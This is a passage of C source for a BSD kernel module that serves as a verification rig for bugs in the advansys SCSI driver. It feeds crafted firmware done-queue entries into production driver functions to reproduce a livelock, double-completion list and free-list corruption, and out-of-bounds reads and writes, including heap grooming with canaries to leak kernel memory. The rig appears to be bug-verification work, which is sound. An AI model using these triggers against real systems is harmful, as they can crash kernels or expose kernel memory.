	    "ACTIVE). Shipped kernel: revisit double-completes slot 0 -> "
	    "panic. DF-4349-fixed kernel: entries dropped, walk NEVER "
	    "terminates (livelock). Both-fixed: budget break.\n");
	crit_enter();
	wps_enable();
	adv_intr_fn(cy_rs->adv);			/* <<< PRODUCTION CODE */
	wps_disable();
	crit_exit();
	kprintf("df43xx[4]: adv_intr RETURNED after %lu data-port "
	    "services (walk terminated - budget fix present?)\n", dbg_hits);
	rig_destroy(cy_rs);
	cy_rs = NULL;
	return (0);
}

static void
cy_main(void *arg)
{

	cy_entering = 1;
	microtime(&cy_t0);
	kprintf("df43xx[T]: entering production adv_intr with cyclic "
	    "FWD chain 6->7->6\n");
	crit_enter();
	wps_enable();
	adv_intr_fn(cy_rs->adv);			/* <<< PRODUCTION CODE */
	wps_disable();
	crit_exit();
	cy_returned = 1;
	kprintf("df43xx[T]: adv_intr RETURNED after %lu data-port "
	    "services (unreachable on livelocked kernel)\n", dbg_hits);
	cy_entering = 0;
	kthread_exit();
}

static void
cy_hb_fire(void *x)
{
	struct timeval t;

	if (cy_entering && !cy_returned) {
		microtime(&t);
		cy_hb++;
		kprintf("df43xx[HB]: *** NON-TERMINATION: %ld.%06ld s inside "
		    "adv_intr/adv_run_doneq, %lu LRAM data-port services and "
		    "climbing (kern.df43xx.dbg_hits) - the device-fed FWD "
		    "walk has no exit ***\n",
		    t.tv_sec - cy_t0.tv_sec, t.tv_usec - cy_t0.tv_usec,
		    dbg_hits);
		if (cy_hb < 3)
			callout_reset(&cy_co, 3 * hz, cy_hb_fire, NULL);
	}
}

static int
sc_df4350_thread(void)
{

	sc_df4350_setup();
	if (cy_rs == NULL)
		return (ENOMEM);
	callout_init(&cy_co);
	cy_hb = 0;
	cy_entering = cy_returned = 0;
	kthread_create(cy_main, NULL, &cy_td, "df43xx_cy");
	callout_reset(&cy_co, 3 * hz, cy_hb_fire, NULL);
	return (0);
}

/* ------------------------------------------------------------------ */
/* scenario 5: forensic double completion via production adv_done()    */
/* ------------------------------------------------------------------ */
static void
callout_nop(void *x)
{
}

static int
sc_forensic(void)
{
	struct rig_softc *rs;
	struct adv_softc *adv;
	union ccb *A, *B, *C, *D;
	struct adv_ccb_info *ci0;
	struct callout *coD;
	int callout_armed;

	/* ---------------- 5b: recycled-slot completion ---------------- */
	kprintf("df43xx[5b]: recycled-slot variant - duplicated entry "
	    "names a slot whose ccb_info was recycled onto a LIVE "
	    "transaction (cinfo->ccb now the new ccb, dmamap loaded)\n");
	memset(lram, 0, sizeof(lram));
	rs = rig_build(1, 1, 0);
	if (rs == NULL)
		return (ENOMEM);
	adv = rs->adv;
	A = rs->ccbs[0];
	ci0 = &adv->ccb_infos[0];

	/* data buffer for the LIVE transaction: physical address forced
	 * ABOVE the tag's 2GB lowaddr so the load genuinely bounces */
	rs->bufs[0] = contigmalloc(2048, M_DF43XX, M_INTWAIT | M_ZERO,
	    0x80000000UL, 0xFFFFFFFFUL, PAGE_SIZE, 0);
	if (rs->bufs[0] == NULL) {
		kprintf("df43xx[5b]: contigmalloc buffer failed\n");
		rig_destroy(rs);
		return (ENOMEM);
	}
	adv_done_fn(adv, A, QD_NO_ERROR, QHSTA_NO_ERROR,
	    SCSI_STATUS_OK, 1);			/* completion #1 - clean */
	kprintf("df43xx[5b]: after #1: slot0 FREE; recycling slot0 for a "
	    "new transaction and loading a LIVE data buffer:\n");
	/* adv_get_ccb_info(): pop from free list (production inline) */
	SLIST_REMOVE_HEAD(&adv->free_ccb_infos, links);
	ci0->state = ACCB_ACTIVE;
	rig_load(rs, 0, rs->bufs[0], 2048);
	kprintf("df43xx[5b]: LIVE mapping present (bpages=%p)\n",
	    map_bpages(ci0->dmamap));
	D = kmalloc(sizeof(union ccb), M_DF43XX, M_WAITOK | M_ZERO);
	coD = kmalloc(sizeof(*coD), M_DF43XX, M_WAITOK | M_ZERO);
	callout_init(coD);
	callout_reset(coD, 60 * hz, callout_nop, D);
	D->ccb_h.func_code = XPT_NOOP;
	D->ccb_h.flags = CAM_DIR_IN;			/* has a data buffer */
	D->ccb_h.status = CAM_REQ_INPROG | CAM_SIM_QUEUED;
	D->ccb_h.timeout_ch = coD;
	D->ccb_h.ccb_cinfo_ptr = ci0;
	ci0->ccb = D;					/* cinfo->ccb recycled */
	LIST_INSERT_HEAD(&adv->pending_ccbs, &D->ccb_h, sim_links.le);

	kprintf("df43xx[5b]: duplicated entry -> production adv_done on "
	    "the LIVE recycled ccb D:\n");
	adv_done_fn(adv, D, QD_NO_ERROR, QHSTA_NO_ERROR,
	    SCSI_STATUS_OK, 1);			/* <<< PRODUCTION */
	kprintf("df43xx[5b]: after: D timeout pending=%d (armed->stopped: "
	    "%s), dmamap bpages=%p (LIVE mapping UNLOADED while the "
	    "hardware transaction is still in flight: %s), slot0.state="
	    "0x%02x (slot handed back to free list with hardware still "
	    "executing), D.ccb_cinfo_ptr=%p, D.status=0x%08x - when the "
	    "firmware later completes this queue for real, adv_done runs "
	    "on freed/CAM-owned memory (double xpt_done UAF family)\n",
	    callout_pending(coD),
	    callout_pending(coD) == 0 ? "YES" : "no",
	    map_bpages(ci0->dmamap),
	    map_bpages(ci0->dmamap) == NULL ? "YES" : "no",
	    ci0->state, D->ccb_h.ccb_cinfo_ptr, D->ccb_h.status);

	kfree(D, M_DF43XX);
	kfree(coD, M_DF43XX);
	contigfree(rs->bufs[0], 2048, M_DF43XX);
	rs->bufs[0] = NULL;
	rs->cos[0] = NULL;	/* A's callout: A itself already freed path */
	rs->ccbs[0] = NULL;
	rig_destroy(rs);
	/* ---------------- 5a: stale-ccb double completion ------------- */
	memset(lram, 0, sizeof(lram));
	rs = rig_build(3, 3, 0);		/* slots 0,1,2 ACTIVE */
	if (rs == NULL)
		return (ENOMEM);
	adv = rs->adv;
	A = rs->ccbs[0];			/* slot 0 */
	B = rs->ccbs[1];			/* slot 1 */
	C = rs->ccbs[2];			/* slot 2 */
	ci0 = &adv->ccb_infos[0];

	/* pending list must be A(head) -> B: A.le_next=&B and
	 * A.le_prev=&head.lh_first - the stale-remove hijack below needs
	 * a non-NULL stale le_next. */
	LIST_REMOVE(&C->ccb_h, sim_links.le);
	LIST_REMOVE(&B->ccb_h, sim_links.le);
	LIST_REMOVE(&A->ccb_h, sim_links.le);
	LIST_INSERT_HEAD(&adv->pending_ccbs, &B->ccb_h, sim_links.le);
	LIST_INSERT_HEAD(&adv->pending_ccbs, &A->ccb_h, sim_links.le);
	/* list now: A -> B */
	kprintf("df43xx[5a]: initial pending list (head->tail):\n");
	print_pending(adv, "[5a]");

	/* arm A's timeout like adv_execute_ccb does */
	callout_reset(rs->cos[0], 60 * hz, callout_nop, A);
	callout_armed = callout_pending(rs->cos[0]);
	kprintf("df43xx[5a]: A timeout armed=%d\n", callout_armed);

	kprintf("df43xx[5a]: completion #1 (production adv_done on A, as "
	    "adv_run_doneq:1109 does for a legit entry):\n");
	adv_done_fn(adv, A, QD_NO_ERROR, QHSTA_NO_ERROR,
	    SCSI_STATUS_OK, /*q_no*/1);			/* <<< PRODUCTION */
	kprintf("df43xx[5a]: after #1: slot0.state=0x%02x free.slh_first="
	    "%p A.ccb_cinfo_ptr=%p A timeout pending=%d list:\n",
	    ci0->state, SLIST_FIRST(&adv->free_ccb_infos),
	    A->ccb_h.ccb_cinfo_ptr, callout_pending(rs->cos[0]));
	print_pending(adv, "[5a]");

	/* a new transaction queues at head (list: D -> B) */
	D = kmalloc(sizeof(union ccb), M_DF43XX, M_WAITOK | M_ZERO);
	coD = kmalloc(sizeof(*coD), M_DF43XX, M_WAITOK | M_ZERO);
	callout_init(coD);
	D->ccb_h.func_code = XPT_NOOP;
	D->ccb_h.flags = CAM_DIR_NONE;
	D->ccb_h.status = CAM_REQ_INPROG | CAM_SIM_QUEUED;
	D->ccb_h.timeout_ch = coD;
	LIST_INSERT_HEAD(&adv->pending_ccbs, &D->ccb_h, sim_links.le);
	kprintf("df43xx[5a]: new LIVE ccb D=%p queued at head; list:\n", D);
	print_pending(adv, "[5a]");

	/*
	 * DEVIATION (documented): production adv_done NULLed
	 * A.ccb_cinfo_ptr at :1266, so the unpatched second completion
	 * crashes in adv_free_ccb_info(adv, NULL) - proven by scenario 2.
	 * To OBSERVE the ops that precede that crash (the stale
	 * LIST_REMOVE at :1127 and the free-list self-cycle from a
	 * non-NULL cinfo) we restore the pointer; every op below up to
	 * the crash site is identical to production.
	 */
	A->ccb_h.ccb_cinfo_ptr = ci0;

	kprintf("df43xx[5a]: completion #2 (production adv_done on the "
	    "STALE A - exactly what a duplicated done entry drives):\n");
	adv_done_fn(adv, A, QD_NO_ERROR, QHSTA_NO_ERROR,
	    SCSI_STATUS_OK, /*q_no*/1);			/* <<< PRODUCTION */

	kprintf("df43xx[5a]: after #2:\n");
	print_pending(adv, "[5a]");
	kprintf("df43xx[5a]: LIST CORRUPTION CHECK: head=%p (was D=%p: "
	    "%s), B.le_prev==&head.lh_first: %s, D reachable from head: "
	    "%s\n",
	    (void *)LIST_FIRST(&adv->pending_ccbs), (void *)&D->ccb_h,
	    LIST_FIRST(&adv->pending_ccbs) == &D->ccb_h ? "unchanged" :
	    "*** HIJACKED BY STALE LIST_REMOVE ***",
	    B->ccb_h.sim_links.le.le_prev == &adv->pending_ccbs.lh_first ?
	    "YES (stale le_prev rewritten B's backlink)" : "no",
	    LIST_FIRST(&adv->pending_ccbs) == &D->ccb_h ? "yes" :
	    "*** NO - LIVE CCB D ORPHANED (timeout still armed, invisible "
	    "to adv_timeout walker) ***");
	kprintf("df43xx[5a]: FREE-LIST CHECK: free.slh_first=%p "
	    "(==&slot0: %s), slot0.links.sle_next=%p "
	    "(==&slot0: %s -> DOUBLE adv_free_ccb_info SELF-CYCLE: next "
	    "two allocations return the SAME ccb_info)\n",
	    SLIST_FIRST(&adv->free_ccb_infos),
	    SLIST_FIRST(&adv->free_ccb_infos) == ci0 ? "YES" : "no",
	    SLIST_FIRST(&adv->free_ccb_infos) ?
	    SLIST_FIRST(&adv->free_ccb_infos)->links.sle_next : NULL,
	    SLIST_FIRST(&adv->free_ccb_infos) &&
	    SLIST_FIRST(&adv->free_ccb_infos)->links.sle_next == ci0 ?
	    "YES" : "no");

	/* teardown without traversing the corrupted list */
	LIST_REMOVE(&D->ccb_h, sim_links.le);
	kfree(D, M_DF43XX);
	kfree(coD, M_DF43XX);
	/* B is still linked (via hijacked head walk) - detach defensively */
	if (LIST_FIRST(&adv->pending_ccbs) == &B->ccb_h)
		LIST_REMOVE(&B->ccb_h, sim_links.le);
	rs->bufs[0] = NULL;	/* A's map was never loaded in 5a */
	rig_destroy(rs);
	return (0);
}

/* ------------------------------------------------------------------ */
/* scenario 7: isolation - production adv_done DIRECTLY, no LRAM/WPs   */
/* ------------------------------------------------------------------ */
static int
sc_advdone_direct(void)
{
	struct rig_softc *rs;
	struct adv_softc *adv;
	union ccb *A;

	rs = rig_build(1, 1, 0);
	if (rs == NULL)
		return (ENOMEM);
	adv = rs->adv;
	A = rs->ccbs[0];
	kprintf("df43xx[7]: isolation: production adv_done on ACTIVE ccb "
	    "(no watchpoints, no LRAM): list:\n");
	print_pending(adv, "[7]");
	adv_done_fn(adv, A, QD_NO_ERROR, QHSTA_NO_ERROR,
	    SCSI_STATUS_OK, 1);				/* <<< PRODUCTION */
	kprintf("df43xx[7]: adv_done RETURNED: status=0x%08x resid ok, "
	    "slot0.state=0x%02x list:\n",
	    A->ccb_h.status, adv->ccb_infos[0].state);
	print_pending(adv, "[7]");
	rig_destroy(rs);
	return (0);
}

/* ------------------------------------------------------------------ */
/* scenario 8: isolation - adv_intr with an EMPTY done queue           */
/* (exercises the register prologue + ack + HOST_FLAG LRAM ops only)   */
/* ------------------------------------------------------------------ */
static int
sc_advintr_empty(void)
{
	struct rig_softc *rs;

	memset(lram, 0, sizeof(lram));
	rs = rig_build(1, 1, 0);
	if (rs == NULL)
		return (ENOMEM);
	craft_doneq_tail(1);
	lram[0x4000 + (1 << 6) + 0] = 0xFF;	/* entry1.fwd = QLINK_END:
						 * empty done queue */
	kprintf("df43xx[8]: isolation: production adv_intr, EMPTY done "
	    "queue (walk loop never entered)\n");
	crit_enter();
	wps_enable();
	kprintf("df43xx[8]: wps on, dispatching adv_intr\n");
	adv_intr_fn(rs->adv);
	wps_disable();
	crit_exit();
	kprintf("df43xx[8]: adv_intr RETURNED (guest alive)\n");
	rig_destroy(rs);
	return (0);
}

/* DF-2412/2413: parameterized done entry (done/host/scsi status) */
static void
craft_done_entry2(u_int qno, u_int32_t ccb_index, u_int8_t fwd,
    u_int32_t remain, u_int8_t done_stat, u_int8_t host_stat,
    u_int8_t scsi_stat)
{
	u_int q = 0x4000 + ((qno & 0xFF) << 6);

	lram[q + 0] = fwd;
	lram_w16(q + 2, (qno << 8) | QS_DONE);
	lram_w16(q + 4, 0);
	lram_w16(q + 20, 0);
	lram_w32(q + 22 + 0, ccb_index);
	lram[q + 22 + 4] = 0;
	lram[q + 22 + 5] = 0;
	lram[q + 22 + 6] = 0;
	lram[q + 22 + 7] = 0;
	lram_w16(q + 22 + 8, 0);
	lram[q + 22 + 10] = done_stat;
	lram[q + 22 + 11] = host_stat;
	lram[q + 22 + 12] = scsi_stat;
	lram[q + 22 + 13] = 0;
	lram_w16(q + 52, (remain >> 16) & 0xFFFF);
	lram_w16(q + 60, remain & 0xFFFF);
}

/*
 * DF-2412: firmware feeds q_no = 25 with max_openings = 16 and a
 * CHECK_COND completion -> adv_done() copies adv->sense_buffers[24]
 * (OOB: only 16 entries) into ccb->csio.sense_data.  Adjacent heap is
 * pre-groomed with distinct canaries; the copied struct is dumped.
 */
static int
sc_df2412_leak(void)
{
	struct rig_softc *rs;
	void *g1, *g2, *g3;
	int i;

	memset(lram, 0, sizeof(lram));
	rs = rig_build(1, 1, 0);
	if (rs == NULL)
		return (ENOMEM);
	kprintf("df2412: sense_buffers=%p (16 entries, %zu bytes)\n",
	    rs->adv->sense_buffers, sizeof(struct scsi_sense_data) * 16);

	/* post-build groom: fill the kernel heap AROUND sense_buffers
	 * with canaries so the OOB read at +768 returns identifiable
	 * kernel-heap bytes */
	g1 = kmalloc(512, M_DEVBUF, M_WAITOK);
	g2 = kmalloc(512, M_DEVBUF, M_WAITOK);
	g3 = kmalloc(512, M_DEVBUF, M_WAITOK);
	memset(g1, 0xC7, 512);
	memset(g2, 0xD8, 512);
	memset(g3, 0xE9, 512);
	/* also directly poison memory after the array if it is inside
	 * the same 2KB block: sense_buffers+512..+1024 belongs to the
	 * allocator's neighboring chunks -- only touch what we own:
	 * nothing beyond our own three chunks. */
	kfree(g1, M_DEVBUF);

	craft_done_entry2(25, 0, 0xFF, 0, 0x04 /*QD_WITH_ERROR*/,
	    0x43 /*QHSTA_M_NO_AUTO_REQ_SENSE*/, 0x02 /*CHECK_COND*/);
	craft_doneq_tail(1);
	lram[0x4000 + (1 << 6) + 0] = 0xFF;	/* entry1.fwd = QLINK_END */

	kprintf("df2412: dispatching production adv_intr with q_no=25 "
	    "(sense_buffers[24] = OOB read at +768)\n");
	crit_enter();
	wps_enable();
	adv_intr_fn(rs->adv);
	wps_disable();
	crit_exit();

	{
		uint8_t *sd = (uint8_t *)&rs->ccbs[0]->csio.sense_data;
		kprintf("df2412: ccb status=0x%x AUTOSNS=%d sense_data dump "
		    "(copied from sense_buffers[24]):\n   ",
		    rs->ccbs[0]->ccb_h.status,
		    (rs->ccbs[0]->ccb_h.status & 0x200 /*CAM_AUTOSNS_VALID*/)
		    ? 1 : 0);
		for (i = 0; i < 32; i++)
			kprintf("%02x", sd[i]);
		{
			int f7 = 0, f8 = 0, f9 = 0;
			for (i = 0; i < 32; i++) {
				if (sd[i] == 0xC7) f7 = 1;
				if (sd[i] == 0xD8) f8 = 1;
				if (sd[i] == 0xE9) f9 = 1;
			}
			kprintf("\n   canary 0xC7 present: %s  0xD8: %s  "
			    "0xE9: %s\n", f7 ? "YES" : "no",
			    f8 ? "YES" : "no", f9 ? "YES" : "no");
		}
	}
	rig_destroy(rs);
	kfree(g3, M_DEVBUF);
	return (0);
}

/*
 * DF-2412 wild variant: q_no = 0 -> sense_buffers[0 - 1] wraps to
 * index 0xFFFFFFFF -> wild OOB read -> fault.
 */
static int
sc_df2412_wild(void)
{
	struct rig_softc *rs;

	memset(lram, 0, sizeof(lram));
	rs = rig_build(1, 1, 0);
	if (rs == NULL)
		return (ENOMEM);
	craft_done_entry2(0, 0, 0xFF, 0, 0x04, 0x43, 0x02);
	craft_doneq_tail(1);
	lram[0x4000 + (1 << 6) + 0] = 0xFF;
	kprintf("df2412w: dispatching production adv_intr with q_no=0 "
	    "(u_int wrap -> sense_buffers[0xFFFFFFFF]) ...\n");
	crit_enter();
	wps_enable();
	adv_intr_fn(rs->adv);
	wps_disable();
	crit_exit();
	{
		uint8_t *sd = (uint8_t *)&rs->ccbs[0]->csio.sense_data;
		int i;
		kprintf("df2412w: adv_intr RETURNED; sense_data copied from "
		    "sense_buffers + 0x1FFFFFFE0 (q_no=0 u_int wrap):\n   ");
		for (i = 0; i < 32; i++)
			kprintf("%02x", sd[i]);
		kprintf("\n   AUTOSNS=%d\n",
		    (rs->ccbs[0]->ccb_h.status & 0x200) ? 1 : 0);
	}
	rig_destroy(rs);
	return (0);
}

/*
 * DF-2413: firmware feeds ccb_index = 0x41414141 -> ccb_infos[] OOB
 * struct read + ->ccb deref + resid WRITE through it.
 */
static int
sc_df2413_wild(void)
{
	struct rig_softc *rs;

	memset(lram, 0, sizeof(lram));
	rs = rig_build(1, 1, 0);
	if (rs == NULL)
		return (ENOMEM);
	craft_done_entry2(20, 0x41414141, 0xFF, 0x13579BDF, 0, 0, 0);
	craft_doneq_tail(1);
	lram[0x4000 + (1 << 6) + 0] = 0xFF;
	kprintf("df2413: dispatching production adv_intr with "
	    "ccb_index=0x41414141 (ccb_infos is 16 entries) ...\n");
	crit_enter();
	wps_enable();
	adv_intr_fn(rs->adv);
	wps_disable();
	crit_exit();
	kprintf("df2413: adv_intr RETURNED (unexpected)\n");
	rig_destroy(rs);
	return (0);
}

/* ------------------------------------------------------------------ */
/* sysctl plumbing                                                     */
/* ------------------------------------------------------------------ */
static int
df43xx_go_sysctl(SYSCTL_HANDLER_ARGS)
{
	int val, error;

	val = df43xx_go;
	error = sysctl_handle_int(oidp, &val, 0, req);
	if (error || req->newptr == NULL)
		return (error);
	df43xx_go = val;

	if (a_adv_intr <= 1 || a_adv_done <= 1 ||
	    a_adv_copy_lram_doneq <= 1) {
		kprintf("df43xx: production addresses not set yet\n");
		return (EINVAL);
	}
	adv_intr_fn = (fn_adv_intr)a_adv_intr;
	adv_done_fn = (fn_adv_done)a_adv_done;
	adv_copy_lram_doneq_fn = (fn_adv_copy_lram_doneq)a_adv_copy_lram_doneq;
	adv_read_lram_16_fn = (fn_adv_read_lram_16)a_adv_read_lram_16;
	adv_read_lram_8_fn = (fn_adv_read_lram_8)a_adv_read_lram_8;
	adv_write_lram_16_fn = (fn_adv_write_lram_16)a_adv_write_lram_16;
	adv_write_lram_8_fn = (fn_adv_write_lram_8)a_adv_write_lram_8;

	switch (val) {
	case 0:	return (sc_selftest());
	case 1:	return (sc_control());
	case 2:	return (sc_df4349_facetA());
	case 3:	return (sc_df4349_facetB());
	case 4:	return (sc_df4350_sync());
	case 5:	return (sc_forensic());
	case 12: return (sc_df2412_leak());
	case 13: return (sc_df2412_wild());
	case 14: return (sc_df2413_wild());
	case 6:	return (sc_df4350_thread());
	case 7:	return (sc_advdone_direct());
	case 8:	return (sc_advintr_empty());
	default: return (EINVAL);
	}
}

static SYSCTL_NODE(_kern, OID_AUTO, df43xx, CTLFLAG_RW, 0,
    "DF-4349/4350 advansys verification rig");
SYSCTL_ULONG(_kern_df43xx, OID_AUTO, intr, CTLFLAG_RW, &a_adv_intr, 0,
    "runtime address of production adv_intr");
SYSCTL_ULONG(_kern_df43xx, OID_AUTO, done, CTLFLAG_RW, &a_adv_done, 0,
    "runtime address of production adv_done");
SYSCTL_ULONG(_kern_df43xx, OID_AUTO, copyq, CTLFLAG_RW,
    &a_adv_copy_lram_doneq, 0,
    "runtime address of production adv_copy_lram_doneq");
SYSCTL_ULONG(_kern_df43xx, OID_AUTO, rl16, CTLFLAG_RW,
    &a_adv_read_lram_16, 0, "runtime address of adv_read_lram_16");
SYSCTL_ULONG(_kern_df43xx, OID_AUTO, rl8, CTLFLAG_RW,
    &a_adv_read_lram_8, 0, "runtime address of adv_read_lram_8");
SYSCTL_ULONG(_kern_df43xx, OID_AUTO, wl16, CTLFLAG_RW,
    &a_adv_write_lram_16, 0, "runtime address of adv_write_lram_16");
SYSCTL_ULONG(_kern_df43xx, OID_AUTO, wl8, CTLFLAG_RW,
    &a_adv_write_lram_8, 0, "runtime address of adv_write_lram_8");
SYSCTL_ULONG(_kern_df43xx, OID_AUTO, dbg_hits, CTLFLAG_RD,
    &dbg_hits, 0, "LRAM data-port services (livelock proof)");
SYSCTL_PROC(_kern_df43xx, OID_AUTO, go, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, df43xx_go_sysctl, "I",
    "0=selftest 1=control 2=DF4349-A 3=DF4349-B 4=DF4350 5=forensic 6=DF4350-thread 7=adv_done-direct 8=adv_intr-empty");

static int
df43xx_modevent(module_t mod, int type, void *data)
{

	switch (type) {
	case MOD_LOAD: {
		bus_dma_tag_t t;
		bus_dmamap_t m;

		adv_intr_fn = (fn_adv_intr)1;
		/*
		 * Pre-create the shared busdma bounce zone at kldload time
		 * (driver-attach context).  The FIRST bounce-zone creation
		 * registers a sysctl node (SYSCTL_ADD_NODE in
		 * alloc_bounce_zone); doing that from inside a sysctl WRITE
		 * handler (our scenario dispatch) deadlocks the oid tree.
		 * After this, scenario tags with lowaddr >= 0x7FFFFFFF
		 * reuse the zone without touching the sysctl tree.
		 */
		if (bus_dma_tag_create(NULL, 1, 0, 0x7FFFFFFF,
		    BUS_SPACE_MAXADDR, MAXPHYS, 16, BUS_SPACE_MAXSIZE_32BIT,
		    0, &t) == 0) {
			if (bus_dmamap_create(t, 0, &m) == 0 && m != NULL)
				bus_dmamap_destroy(t, m);
			bus_dma_tag_destroy(t);
		}
		kprintf("df43xx: rig loaded (bounce zone pre-created; set "
		    "kern.df43xx.* from nm, then kern.df43xx.go=N)\n");
		return (0);
	}
	case MOD_UNLOAD:
		if (cy_entering && !cy_returned) {
			kprintf("df43xx: T still spinning inside "
			    "adv_run_doneq - unload refused\n");
			return (EBUSY);
		}
		wps_disable();
		return (0);
	default:
		return (EOPNOTSUPP);
	}
}

static moduledata_t df43xx_mod = { "df43xx_rig", df43xx_modevent, 0 };
DECLARE_MODULE(df43xx_rig, df43xx_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);